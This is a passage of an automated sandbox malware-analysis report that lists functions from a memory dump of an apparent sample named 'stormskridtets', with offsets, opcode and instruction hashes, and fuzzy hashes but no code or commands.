                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                    • Instruction ID: b66f9613063c53a8e1507def48d6a9154db3aeda17e05ee98e89265ef3bc99b0
                                    • Opcode Fuzzy Hash: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                    • Instruction Fuzzy Hash: 76318671640604EFE711CF68C884FAAB7B9EF893A4F1045A9E5558B290EB35FE02CB51
                                    Function 374806F1 Relevance: .1, Instructions: 79COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 9df61cc00e54c200444c1edf9c6c683087f594a8fa2f2db7d0266d5a1349905d
                                    • Instruction ID: 1c0f1337dcf8fac945ebff4b50aa4234c3fcf2c84aa9c07cad1388916da2c889
                                    • Opcode Fuzzy Hash: 9df61cc00e54c200444c1edf9c6c683087f594a8fa2f2db7d0266d5a1349905d
                                    • Instruction Fuzzy Hash: 6921A07691022DABDB10DF59C881AFEB7F8FF48740B510069E841A7250E739BD42CFA1
                                    Function 3742F32A Relevance: .1, Instructions: 79COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
                                    • Instruction ID: a4d6a12afac22ccd5e256ab7a74aa7b4c64bdb50abc3537726a730e860894b6a
                                    • Opcode Fuzzy Hash: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
                                    • Instruction Fuzzy Hash: D5218B72204300DFD719CF15C481BAABBE9EF853A5F51816DE50A8B390EBB0F811DAA4
                                    Function 37439660 Relevance: .1, Instructions: 78COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 76914b30fef469d54e969b0c643a576c6b7132a1a1ecfb24d65d286cb05c10ec
                                    • Instruction ID: 4d83e20a3c127d7b6c5f777d69f819d08ab5d0b36c2260f9227e0fe2cc38f0e7
                                    • Opcode Fuzzy Hash: 76914b30fef469d54e969b0c643a576c6b7132a1a1ecfb24d65d286cb05c10ec
                                    • Instruction Fuzzy Hash: 0221F931507740DBF7219A25CC10BD677E2AF88278F104A1DE45946AE1DB35F862CB53
                                    Function 37480283 Relevance: .1, Instructions: 74COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: feae52e609f50710c8af322661d1b96c73afd53463f5797694622b404e10afa4
                                    • Instruction ID: 835f3694684f4aba563170cc6b735cdcc9bf45116d99695b1ad5891af87ccd05
                                    • Opcode Fuzzy Hash: feae52e609f50710c8af322661d1b96c73afd53463f5797694622b404e10afa4
                                    • Instruction Fuzzy Hash: BF21BDB250434DABD301DF59C944BEAB7DCAF95250F04045AAC90C7261E735F905C6A2
                                    Function 3743A30B Relevance: .1, Instructions: 70COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 10357aa771ddae5d4a46b53d51df0d918cc29402a79441f6f60422f7344540e2
                                    • Instruction ID: e9c65fd6ebdc92b53cd95437bde11d3b0b11aafefd7fb211b7a62efe1efd19f8
                                    • Opcode Fuzzy Hash: 10357aa771ddae5d4a46b53d51df0d918cc29402a79441f6f60422f7344540e2
                                    • Instruction Fuzzy Hash: 30219839241B419BD724DF28C840B86B3F5AF48744F24846CE419CBB61E735F856CF95
                                    Function 373FB765 Relevance: .1, Instructions: 69COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 330565780a81a43f23423b28b3f2b0c61df5d6b7b7ff398efca3b681903f7901
                                    • Instruction ID: c9d4ebf982e7b18a5a734f2c9e412416ae6a7a8d3fa62c70b7b544bda4dd894e
                                    • Opcode Fuzzy Hash: 330565780a81a43f23423b28b3f2b0c61df5d6b7b7ff398efca3b681903f7901
                                    • Instruction Fuzzy Hash: 8C216672140A40DFD722DF68CA41F9AB7B5FF88758F14496CE00A976A1EB39B811CF46
                                    Function 374215A9 Relevance: .1, Instructions: 69COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 29802a1ca24c6965babefc6623953e4fc32110ab479eab20bfca4cc576a297b9
                                    • Instruction ID: cde87a8c4d945e775888d48cc0a7ada0af17b53a7a3b0880a35cec7b28885e00
                                    • Opcode Fuzzy Hash: 29802a1ca24c6965babefc6623953e4fc32110ab479eab20bfca4cc576a297b9
                                    • Instruction Fuzzy Hash: 3821D1B5700B85DFE302CB59C988B9177E9AF443A8F0604A1EC058B392EA38FC51C751
                                    Function 37408770 Relevance: .1, Instructions: 68COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 18a24625f4ee07fb461c71eb066032354a9b772b3d6120ecdf24888b9a1942c9
                                    • Instruction ID: 9764959e57f84581a47778c8a6b9ea540b1967ca4616488cace7c4d8c27e8716
                                    • Opcode Fuzzy Hash: 18a24625f4ee07fb461c71eb066032354a9b772b3d6120ecdf24888b9a1942c9
                                    • Instruction Fuzzy Hash: 6111907A601610DB8B01CF49CA84A96F7EDAF8A760B54407DED089F309D6B2F9419F91
                                    Function 37403720 Relevance: .1, Instructions: 67COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 0e6d526abf453ae993f9aebdf729ebd1d3c8fa1c53535072ba16e1e7632ebe02
                                    • Instruction ID: 264c0f4ebbfdc6e86741e184f53d300920b81f815e21b4e6c9ec04b512aa3f8b
                                    • Opcode Fuzzy Hash: 0e6d526abf453ae993f9aebdf729ebd1d3c8fa1c53535072ba16e1e7632ebe02
                                    • Instruction Fuzzy Hash: 212171B5A002098BE711CF69C4487EDBBA4BB89728F65802CD811572D0DBB8B945CB55
                                    Function 3743674D Relevance: .1, Instructions: 65COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: cf59733e876d3fefda5537f746e6a02b1e9178838f7339b47ee71827b190813a
                                    • Instruction ID: 7f6d72178013739aa6e0fc132d78dcb7b847373650a490bac2fefea30c7ca265
                                    • Opcode Fuzzy Hash: cf59733e876d3fefda5537f746e6a02b1e9178838f7339b47ee71827b190813a
                                    • Instruction Fuzzy Hash: 1E214F79501B01EFE7648F68C841BA6B3F8FF88261F40882DE49ED7650DB74B851CB61
                                    Function 373F9240 Relevance: .1, Instructions: 64COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: ea8bb06acbed4cacb9cb0070dfdf9f07432e0cfed55b91799aded64e89f641bc
                                    • Instruction ID: aa1af1c9f11bc374d22cbd28a8109bfb1083e80c6532b0164a638f59bb3e9814
                                    • Opcode Fuzzy Hash: ea8bb06acbed4cacb9cb0070dfdf9f07432e0cfed55b91799aded64e89f641bc
                                    • Instruction Fuzzy Hash: EF1108BA051244AAE710DF61C902BB177F8EB99790F108029D404E7350F73DFD12CB56
                                    Function 374366B0 Relevance: .1, Instructions: 61COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: fbc68d3b24fe51a1eec77ed529a0fdfcab8c36203a27639e8bedf7de384562e9
                                    • Instruction ID: 00bf8e80942fe8f8455f8c24d5ffbb0e59e94acb2311e45ba4cb60d196c2d36b
                                    • Opcode Fuzzy Hash: fbc68d3b24fe51a1eec77ed529a0fdfcab8c36203a27639e8bedf7de384562e9
                                    • Instruction Fuzzy Hash: 1C118276A02206DBE755CF59C580B8ABBE59B88651F51407DD908DB310D734FD11CB91
                                    Function 374227ED Relevance: .1, Instructions: 58COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 0f36cd2b8274f58d8c9c45706c60cb8c13d2c8a6da061deddff1dd1dab3a7cec
                                    • Instruction ID: 1e7c4d1408d2e127187ba781a02d5adaff837969609ef9e1a43493e435a5485f
                                    • Opcode Fuzzy Hash: 0f36cd2b8274f58d8c9c45706c60cb8c13d2c8a6da061deddff1dd1dab3a7cec
                                    • Instruction Fuzzy Hash: 300108757057886FF30296699888FE7678DEF843A4F060565F900CB250DE18FC11D272
                                    Function 374BD6F0 Relevance: .1, Instructions: 57COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: ab5dca7662d95f66bb5cdf7901944074af6dd6205da9398680eb86638002d29b
                                    • Instruction ID: 839e0d779c0f111ea3be3e752bc0c54b5935f572008b3224b035f84ac1d2f03f
                                    • Opcode Fuzzy Hash: ab5dca7662d95f66bb5cdf7901944074af6dd6205da9398680eb86638002d29b
                                    • Instruction Fuzzy Hash: 7E013C75B00209AB9B14EAA6DD84DEF7BADEF85B94F000099A915E7210E734FE15CB70
                                    Function 37404690 Relevance: .1, Instructions: 57COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 66f2bd918fda60feafe66d36597129de31ae6b1a88dfe41216c54b4210f3d0e1
                                    • Instruction ID: ff1fcdd8a489ec93700721f6147eb222a7c712962d0d3076266c433bb0974fb3
                                    • Opcode Fuzzy Hash: 66f2bd918fda60feafe66d36597129de31ae6b1a88dfe41216c54b4210f3d0e1
                                    • Instruction Fuzzy Hash: 4D115A7A200644AFD721CF9DE944B96BBA8EB867A4F114629F9048B750C774F850CFA1
                                    Function 37436620 Relevance: .1, Instructions: 56COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: a58472d334752ac0bac1f06e66e77507f551ccaf28adf886c820010c3848eade
                                    • Instruction ID: 1c1ae09113b90bf3c2473296e00f6883882f4d7f0d45ba5ba65a2d4173b0405b
                                    • Opcode Fuzzy Hash: a58472d334752ac0bac1f06e66e77507f551ccaf28adf886c820010c3848eade
                                    • Instruction Fuzzy Hash: 0A1182B6901616ABEB11DF59C980B9EF7B8EF88790F910459D909A7300D734BD21CB62
                                    Function 3742E53E Relevance: .1, Instructions: 55COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                                    • Instruction ID: a4ca8e51089ec3e53495d9ccc4a6e36b47fda4e9e2d4155f1fdc84005b8db39d
                                    • Opcode Fuzzy Hash: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                                    • Instruction Fuzzy Hash: 1D11CEB62127D1DFF312D7688948BD57794AB457A8F1A04A0DD808B782F728F892D251
                                    Function 373F7330 Relevance: .1, Instructions: 55COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: c7c51d89b78704963ff811c5866aa87418d4168361c781e238df0c6944ee2dbc
                                    • Instruction ID: 7cc02728a015da989ae8eec2a117ebdf8fece22e687c8936d9df1c9398109ec4
                                    • Opcode Fuzzy Hash: c7c51d89b78704963ff811c5866aa87418d4168361c781e238df0c6944ee2dbc
                                    • Instruction Fuzzy Hash: 01115AB5600714AFE711CF69D855FAB77E8EB84394F41882EE989CB211D736F8009BA1
                                    Function 3742F2D0 Relevance: .1, Instructions: 54COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 547572f8968244d405d72036cca69fd63c3085b4e444a41677a06648b1f5452b
                                    • Instruction ID: ceba1223a460f02751addd2701f689dfb2acccaf478eb0db086e26d34eb86ad3
                                    • Opcode Fuzzy Hash: 547572f8968244d405d72036cca69fd63c3085b4e444a41677a06648b1f5452b
                                    • Instruction Fuzzy Hash: A911CEB5601788DFE720CF69D884BDEB7A8EF88710F54046AE901EB751EA39F901C750
                                    Function 373FA250 Relevance: .1, Instructions: 52COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                                    • Instruction ID: 853b7b5b7d05b05ad7248d1fd3ab3a4b48c055b9230a8a2e7db350a019a1a0d3
                                    • Opcode Fuzzy Hash: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                                    • Instruction Fuzzy Hash: 87012B75644715ABD7208F15DC80A627BE8EF46BF0700852DFC999B280C737E400DB60
                                    Function 37406259 Relevance: .1, Instructions: 51COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: e562474d5308bb530c4f00eeadc4df5b570b61fb3dbf5be8d8c78255495f2682
                                    • Instruction ID: 00ca8c0a8a34fcc33db2a45264d4501f45191cfd8394a767a35d78ffdf8ed46b
                                    • Opcode Fuzzy Hash: e562474d5308bb530c4f00eeadc4df5b570b61fb3dbf5be8d8c78255495f2682
                                    • Instruction Fuzzy Hash: 6D118271641618ABEB25DF64CC42FE9B374AF48710F5041D8A319A61E0DB74BE81DF86
                                    Function 3743E5CF Relevance: .0, Instructions: 49COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 6f7f976c68407a81e7c5f04dd4dc0a22068742e815c5c949fb736dc67d49a3ce
                                    • Instruction ID: 72b41cc7b9d4792ad39ffc42fb038ffed34db8605c5f5b1f0522fb9c7bf6c82e
                                    • Opcode Fuzzy Hash: 6f7f976c68407a81e7c5f04dd4dc0a22068742e815c5c949fb736dc67d49a3ce
                                    • Instruction Fuzzy Hash: 10018472301650BFD301AB69CD80ED7B7ACEFC96A0B01052DF108D3651EB28FC11C6A5
                                    Function 3748C460 Relevance: .0, Instructions: 48COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: fada5050342ff575916a2cf1d157e78593478687e9dab79bc1bb51b48280af49
                                    • Instruction ID: e5d20a909cbcb26888248c29df85abfd53e066e9008e25f969857aeef9c4b55e
                                    • Opcode Fuzzy Hash: fada5050342ff575916a2cf1d157e78593478687e9dab79bc1bb51b48280af49
                                    • Instruction Fuzzy Hash: B0115B75A0120CBBDB05DFA4D840EEE7BF6EB88750F008099F80197340DA39F951DB91
                                    Function 373F9353 Relevance: .0, Instructions: 48COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
